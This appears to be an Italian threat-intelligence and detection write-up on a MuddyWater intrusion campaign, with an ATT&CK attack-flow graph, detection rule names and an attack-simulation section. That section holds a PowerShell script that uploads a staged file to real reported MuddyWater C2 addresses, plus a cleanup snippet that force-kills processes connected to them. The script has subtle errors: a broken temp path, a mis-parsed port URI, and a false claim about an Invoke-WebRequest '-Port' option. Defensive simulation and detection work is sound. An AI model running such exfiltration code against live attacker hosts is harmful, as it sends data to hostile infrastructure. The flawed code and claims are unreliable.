MuddyWater Svelato: All’interno di un’operazione APT iraniana
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
I ricercatori hanno identificato un set di intrusioni di MuddyWater (Static Kitten) che ha combinato diversi framework C2 su misura con lo sfruttamento opportunistico di numerose falle esposte a internet e attacchi di brute force su credenziali ad alto volume. Gli operatori hanno concatenato strumenti di ricognizione, accesso iniziale e furto di dati per compromettere obiettivi in tutto il Medio Oriente, in Europa e negli Stati Uniti.
Indagine
Gli investigatori hanno sequestrato infrastrutture esposte da un VPS ospitato nei Paesi Bassi ed estratto i binari per tre server C2 costruiti appositamente: KeyC2, PersianC2 e ArenaC2. Hanno anche recuperato strumenti di supporto, tra cui caricatore basato su PowerShell e payload Node.js utilizzati per la messa in scena e l’esecuzione. L’attività includeva una scansione ampia per CVE esposti al pubblico, seguita da sfruttamento, e incorporava contratti smart su blockchain come un meccanismo per risolvere o aggiornare dinamicamente gli endpoint C2.
Mitigazione
Dare priorità alla correzione dei CVE menzionati e ridurre la superficie di attacco rafforzando le difese e limitando l’esposizione di servizi esposti al pubblico. Bloccare o limitare severamente il traffico UDP in uscita sconosciuto sulla porta 1269 e monitorare gli artefatti di esecuzione legati ai binari C2 personalizzati e ai loro distintivi schemi di comando. Applicare il principio del minimo privilegio per account VPN e amministrativi su dispositivi di rete e aumentare la copertura di rilevamento per comportamenti anomali in PowerShell e sessioni in uscita criptate verso IP non familiari.
Risposta
Se vengono osservati indicatori, isolare i sistemi colpiti, preservare artefatti di memoria e disco e bloccare immediatamente i domini/IP C2 identificati. Eseguire un triage forense degli loader recuperati e degli script Node.js per delimitare l’esecuzione e la persistenza. Correggere tutte le vulnerabilità sfruttate e ruotare qualsiasi credenziali che potrebbero essere state esposte attraverso brute force o furto.
Attacco TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ccffcc classDef c2 fill:#ffccff %% Passo 1 – Scansione attiva: Scansione delle vulnerabilità step1[“<b>Azione</b> – <b>T1595.002 Scansione attiva: Scansione delle vulnerabilità</b><br/>Strumento: Nuclei<br/>Descrizione: Scansione in massa dei servizi pubblici per CVE sfruttabili come FortiOS CVE‑2024‑55591 e Ivanti CVE‑2026‑1281.”] class step1 action tool_nuclei[“<b>Strumento</b> – <b>Nome</b>: Nuclei<br/><b>Descrizione</b>: Scanner di vulnerabilità ad alta velocità usato per il sondaggio su larga scala di internet.”] class tool_nuclei tool step1 –>|usa| tool_nuclei step1 –>|porta_a| step2 %% Passo 2 – Raccogliere informazioni sulla rete della vittima: DNS step2[“<b>Azione</b> – <b>T1590.002 Raccogliere informazioni sulla rete della vittima: DNS</b><br/>Strumenti: subfinder, Sudomy, OneForAll<br/>Descrizione: Enumerare i sottodomini e i record DNS per obiettivi come clearview.ai e jewishagency.org.”] class step2 action tool_subfinder[“<b>Strumento</b> – <b>Nome</b>: subfinder<br/><b>Descrizione</b>: Strumento rapido di scoperta passiva di sottodomini.”] class tool_subfinder tool step2 –>|usa| tool_subfinder step2 –>|porta_a| step3 %% Passo 3 – Scansione attiva: Scansione di lista di parole step3[“<b>Azione</b> – <b>T1595.003 Scansione attiva: Scansione di lista di parole</b><br/>Strumento: ffuf<br/>Descrizione: Forzare con la forza bruta le directory web con una lista di parole di media dimensione per scoprire risorse nascoste.”] class step3 action tool_ffuf[“<b>Strumento</b> – <b>Nome</b>: ffuf<br/><b>Descrizione</b>: Fuzzer web veloce per la scoperta di directory e file.”] class tool_ffuf tool step3 –>|usa| tool_ffuf step3 –>|porta_a| step4 %% Passo 4 – Cercare database tecnici aperti: Scansione dei database step4[“<b>Azione</b> – <b>T1596.005 Cercare database tecnici aperti: Scansione dei database</b><br/>Strumento: Shodan CLI<br/>Descrizione: Interrogare Shodan per dispositivi Ivanti vulnerabili utilizzando firme di servizio e hash favicon.”] class step4 action tool_shodan[“<b>Strumento</b> – <b>Nome</b>: Shodan CLI<br/><b>Descrizione</b>: Interfaccia a riga di comando per il motore di ricerca di esposizione a internet di Shodan.”] class tool_shodan tool step4 –>|usa| tool_shodan step4 –>|porta_a| step5 %% Passo 5 – Brute Force: Password Spraying step5[“<b>Azione</b> – <b>T1110.003 Brute Force: Password Spraying</b><br/>Strumento: Script Python owa.py<br/>Descrizione: Spruzzamento di password comuni contro servizi Outlook Web Access e SMTP di organizzazioni israeliane, giordane e degli Emirati Arabi Uniti.”] class step5 action tool_owa[“<b>Strumento</b> – <b>Nome</b>: owa.py<br/><b>Descrizione</b>: Script Python che esegue attacchi di password spraying contro endpoint OWA.”] class tool_owa tool step5 –>|usa| tool_owa step5 –>|porta_a| step6 %% Passo 6 – Brute Force: Password Guessing step6[“<b>Azione</b> – <b>T1110.001 Brute Force: Password Guessing</b><br/>Strumento: Patator<br/>Descrizione: Tentare accessi SMTP con liste di credenziali per ottenere account validi.”] class step6 action tool_patator[“<b>Strumento</b> – <b>Nome</b>: Patator<br/><b>Descrizione</b>: Strumento di brute forcing multi-protocollo che supporta SMTP, SSH, HTTP, ecc.”] class tool_patator tool step6 –>|usa| tool_patator step6 –>|porta_a| step7 %% Passo 7 – Sfruttare applicazioni esposte pubblicamente step7[“<b>Azione</b> – <b>T1190 Sfruttare applicazioni esposte pubblicamente</b><br/>Tecnica: Nuovi difetti di iniezione SQL in piattaforma di sviluppo Postgres e BaSalam.<br/>Descrizione: Sfruttamento di payload SQLI appositamente realizzati per ottenere un accesso iniziale sui server web.”] class step7 action step7 –>|porta_a| step8 %% Passo 8 – Sfruttamento di servizi remoti step8[“<b>Azione</b> – <b>T1210 Sfruttamento di servizi remoti</b><br/>Strumento: Web-shell Neo-reGeorg ASPX<br/>Descrizione: Caricare una web-shell su un server Exchange compromesso per la persistenza e l’esecuzione di comandi remoti.”] class step8 action malware_neoregeorg[“<b>Malware</b> – <b>Nome</b>: Neo-reGeorg ASPX web-shell<br/><b>Descrizione</b>: Web-shell ASPX che offre capacità di esecuzione comandi remoti e di tunneling.”] class malware_neoregeorg malware step8 –>|carica| malware_neoregeorg step8 –>|porta_a| step9 %% Passo 9 – Esecuzione automatica di avvio o accesso: Chiavi di esecuzione del registro step9[“<b>Azione</b> – <b>T1547.001 Esecuzione automatica di avvio o accesso: Chiavi di esecuzione del registro</b><br/>Malware: Payload Node.js VfZUSQi6oerKau.js<br/>Descrizione: Creare chiave HKCU\Software\Microsoft\Windows\CurrentVersion\Run per la persistenza.”] class step9 action malware_nodejs[“<b>Malware</b> – <b>Nome</b>: VfZUSQi6oerKau.js<br/><b>Descrizione</b>: Payload Node.js offuscato che scrive una chiave di esecuzione per la persistenza.”] class malware_nodejs malware step9 –>|crea| malware_nodejs step9 –>|porta_a| step10 %% Passo 10 – Componente software del server: Web Shell step10[“<b>Azione</b> – <b>T1505.003 Componente software del server: Web Shell</b><br/>Componente: Web-shell Neo-reGeorg (nfud.aspx)<br/>Descrizione: Abilita l’esecuzione di comandi remoti su server compromesso.”] class step10 action malware_nfud[“<b>Malware</b> – <b>Nome</b>: nfud.aspx<br/><b>Descrizione</b>: Variante Web-shell ASPX usata per accesso persistente.”] class malware_nfud malware step10 –>|implementa| malware_nfud step10 –>|porta_a| step11 %% Passo 11 – Creare Account: Account locale step11[“<b>Azione</b> – <b>T1136.001 Creare Account: Account locale</b><br/>Risultato: Account admin privilegiato “FortiSetup” con profilo super_admin.<br/>Descrizione: Script di sfruttamento FortiGate modificati per aggiungere un account locale admin persistente.”] class step11 action step11 –>|porta_a| step12 %% Passo 12 – File o informazioni offuscati step12[“<b>Azione</b> – <b>T1027 File o informazioni offuscati</b><br/>Malware: Payload Node.js<br/>Descrizione: Payload ampiamente offuscato e criptato AES‑CBC prima dell’essere scritto su disco.”] nclass step12 action malware_obf[“<b>Malware</b> – <b>Nome</b>: Payload Node.js criptati<br/><b>Descrizione</b>: Blob criptati AES-CBC memorizzati nel file system della vittima.”] class malware_obf malware step12 –>|produce| malware_obf step12 –>|porta_a| step13 %% Passo 13 – Deoffuscazione/Decodifica di file o informazioni step13[“<b>Azione</b> – <b>T1140 Deoffuscazione/Decodifica di file o informazioni</b><br/>Strumento: Caricatore PowerShell reset.ps1<br/>Descrizione: Decritta blob criptati AES-CBC a runtime.”] class step13 action tool_psloader[“<b>Strumento</b> – <b>Nome</b>: reset.ps1<br/><b>Descrizione</b>: Script PowerShell che decritta e carica payload malevoli in memoria.”] class tool_psloader tool step13 –>|usa| tool_psloader step13 –>|porta_a| step14 %% Passo 14 – Caricamento del codice riflessivo step14[“<b>Azione</b> – <b>T1620 Caricamento del codice riflessivo</b><br/>Tecnica: Caricatore PowerShell carica componenti Node.js decrittati riflessivamente in memoria.”] class step14 action step14 –>|porta_a| step15 %% Passo 15 – Protocollo a livello applicativo: Protocolli Web step15[“<b>Azione</b> – <b>T1071.001 Protocollo a livello applicativo: Protocolli Web</b><br/>C2: PersianC2<br/>Descrizione: Polling HTTP usando endpoint API JSON per recuperare comandi.”] class step15 action c2_persian[“<b>C2</b> – <b>Nome</b>: PersianC2<br/><b>Descrizione</b>: Comando e controllo basato su HTTP usando polling JSON.”] class c2_persian c2 step15 –>|comunica_via| c2_persian step15 –>|porta_a| step16 %% Passo 16 – Protocollo non a livello applicativo step16[“<b>Azione</b> – <b>T1095 Protocollo non a livello applicativo</b><br/>C2: KeyC2<br/>Descrizione: Protocollo binario personalizzato su porta UDP 1269 per beaconing ed esecuzione di comandi.”] class step16 action c2_key[“<b>C2</b> – <b>Nome</b>: KeyC2<br/><b>Descrizione</b>: Canale coperto basato su UDP usando formato binario proprietario.”] class c2_key c2 step16 –>|comunica_via| c2_key step16 –>|porta_a| step17 %% Passo 17 – Servizio Web: Resolver mortale step17[“<b>Azione</b> – <b>T1102.001 Servizio Web: Resolver mortale</b><br/>Tecnica: Interrogare i contratti smart su Ethereum per risolvere dinamicamente gli indirizzi IP del server C2.”] class step17 action step17 –>|porta_a| step18 %% Passo 18 – Servizio Web: Comunicazione bidirezionale step18[“<b>Azione</b> – <b>T1102.002 Servizio Web: Comunicazione bidirezionale</b><br/>C2: ArenaC2 (FastAPI/uvicorn)<br/>Descrizione: Interfaccia HTTP POST che crittografa il traffico con AES‑256‑CBC.”] class step18 action c2_arena[“<b>C2</b> – <b>Nome</b>: ArenaC2<br/><b>Descrizione</b>: Server FastAPI che fornisce un canale C2 crittografato bidirezionale.”] class c2_arena c2 step18 –>|usa| c2_arena step18 –>|porta_a| step19 %% Passo 19 – Servizio Web: Comunicazione unidirezionale step19[“<b>Azione</b> – <b>T1102.003 Servizio Web: Comunicazione unidirezionale</b><br/>Componente: Server Flask minimale (web.py) sulla porta 10443 che accetta caricamenti di file per esfiltrazione.”] class step19 action malware_flask[“<b>Malware</b> – <b>Nome</b>: web.py<br/><b>Descrizione</b>: Semplice app Flask che funge da depository per dati rubati.”] class malware_flask malware step19 –>|implementa| malware_flask step19 –>|porta_a| step20 %% Passo 20 – Tunneling del protocollo step20[“<b>Azione</b> – <b>T1572 Tunneling del protocollo</b><br/>Strumento: Neo-reGeorg che funge da proxy SOCKS (resocks, revsocks) per creare il tunnel nelle reti interne.”] class step20 action step20 –>|porta_a| step21 %% Passo 21 – Proxy: Proxy esterno step21[“<b>Azione</b> – <b>T1090.002 Proxy: Proxy esterno</b><br/>Listener: resocks e revsocks che creano proxy SOCKS esterni per movimento laterale.”] class step21 action step21 –>|porta_a| step22 %% Passo 22 – Canale crittografato: Crittografia simmetrica step22[“<b>Azione</b> – <b>T1573.001 Canale crittografato: Crittografia simmetrica</b><br/>Tecnica: ArenaC2 crittografa tutto il traffico C2 con AES‑256‑CBC usando una chiave hard-coded.”] class step22 action step22 –>|porta_a| step23 %% Passo 23 – Risoluzione dinamica step23[“<b>Azione</b> – <b>T1568 Risoluzione dinamica</b><br/>Metodo: Chiamate a contratti smart (getString) su Ethereum restituiscono lista di IP C2 attivi (es. 185.236.25.119).”] class step23 action step23 –>|porta_a| step24 %% Passo 24 – Esfiltrazione su archiviazione cloud step24[“<b>Azione</b> – <b>T1567.002 Esfiltrazione tramite servizio web: Esfiltrazione su archiviazione cloud</b><br/>Strumento: rclone<br/>Destinazione: Wasabi S3, put.io<br/>Descrizione: Caricare file rubati su account di archiviazione cloud.”] class step24 action tool_rclone[“<b>Strumento</b> – <b>Nome</b>: rclone<br/><b>Descrizione</b>: Programma a riga di comando per sincronizzare file su servizi di archiviazione cloud.”] class tool_rclone tool step24 –>|usa| tool_rclone step24 –>|porta_a| step25 %% Passo 25 – Esfiltrazione tramite canale C2 step25[“<b>Azione</b> – <b>T1041 Esfiltrazione tramite canale C2</b><br/>Capacità: KeyC2 e PersianC2 supportano comandi di download file per recuperare dati dalle vittime.”] class step25 action step25 –>|porta_a| step26 %% Passo 26 – Esfiltrazione tramite protocollo alternativo step26[“<b>Azione</b> – <b>T1048 Esfiltrazione tramite protocollo alternativo</b><br/>Metodo: Server HTTP Flask e istanza EC2 (18.223.24.218) usati per spingere un grande volume di dati fuori dall’ambiente della vittima.”] class step26 action
Flusso di attacco
Rilevamenti
Nome abbreviazione file (via cmdline)
Visualizza
File sospetti nel profilo pubblico utente (via file_event)
Visualizza
Possibile esfiltrazione di dati tramite Rclone (via cmdline)
Visualizza
Esecuzione sospetta dal profilo pubblico utente (via process_creation)
Visualizza
Chiamata a metodi sospetti .NET da PowerShell (via powershell)
Visualizza
Esecuzione di binari NodeJS da posizione insolita (via cmdline)
Visualizza
Possibile utilizzo di strumenti di tunneling [Windows] (via cmdline)
Visualizza
Caricatore PowerShell ed esfiltrazione di dati tramite WebClient [Windows PowerShell]
Visualizza
Rilevamento di MuddyWater Password Spraying e Forza Bruta SMTP [Windows Process Creation]
Visualizza
Rilevamento dell’esfiltrazione e sfruttamento di MuddyWater Fortinet [Firewall]
Visualizza
Esecuzione di simulazione
Prerequisito: Il controllo Pre-Flight del Telemetria e Baseline deve essere stato superato.
Razionale: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente le TTP identificate e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.
-
Narrazione e comandi dell’attacco:
-
Ricognizione e messa in scena dei dati: L’attaccante enumera i file locali (
T1005) e scrive un piccolo payload (secret.txt) sulla workstation. -
Impostazione della comunicazione C2: Utilizzando PowerShell (
T1059.001), l’attaccante realizza un POST HTTPS al server C2 di MuddyWater194.11.246.101sulla porta 443, incorporando i dati messi in scena. -
Canale alternativo (Porta non standard): Per eludere semplici regole basate sulle porte, l’attaccante ripete l’esfiltrazione sulla porta 1338 utilizzando
Invoke-WebRequestcon l’opzione-Port(PowerShell 7+). -
Catena Proxy opzionale: La richiesta viene instradata attraverso un proxy esterno (
T1090.002), ma l’indirizzo IP di destinazione finale rimane l’host di MuddyWater, assicurando che i log del firewall conservino ildst_ip.
-
Ricognizione e messa in scena dei dati: L’attaccante enumera i file locali (
-
Script per test di regressione:
# Simulazione di esfiltrazione MuddyWater – PowerShell # ------------------------------------------------ # Passo 1: Creare dati fittizi $dataPath = "$env:TEMPsecret.txt" "Dati sensibili $(Get-Date)" | Out-File -FilePath $dataPath -Encoding UTF8 # Passo 2: Definire gli endpoint C2 $c2Ips = @('194.11.246.101','18.223.24.218') $c2Ports = @(443,1338) # Passo 3: Caricare via HTTPS (porta 443) foreach ($ip in $c2Ips) { $uri = "https://$ip/upload" Invoke-WebRequest -Uri $uri -Method POST -InFile $dataPath -UseBasicParsing -ErrorAction SilentlyContinue } # Passo 4: Caricare via porta personalizzata 1338 (richiede PowerShell 7+) foreach ($ip in $c2Ips) { $uri = "http://$ip:1338/upload" Invoke-WebRequest -Uri $uri -Method POST -InFile $dataPath -UseBasicParsing -ErrorAction SilentlyContinue } # Passo 5: Pulizia Remove-Item -Path $dataPath -Force -
Comandi di pulizia:
# Rimuovere eventuali connessioni di rete persistenti (Windows) Get-NetTCPConnection -RemoteAddress 194.11.246.101,18.223.24.218 | Where-Object { $_.State -eq 'Established' } | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force } # Eliminare i file temporanei (ri-eseguire se necessario) $tempFile = "$env:TEMPsecret.txt" if (Test-Path $tempFile) { Remove-Item $tempFile -Force }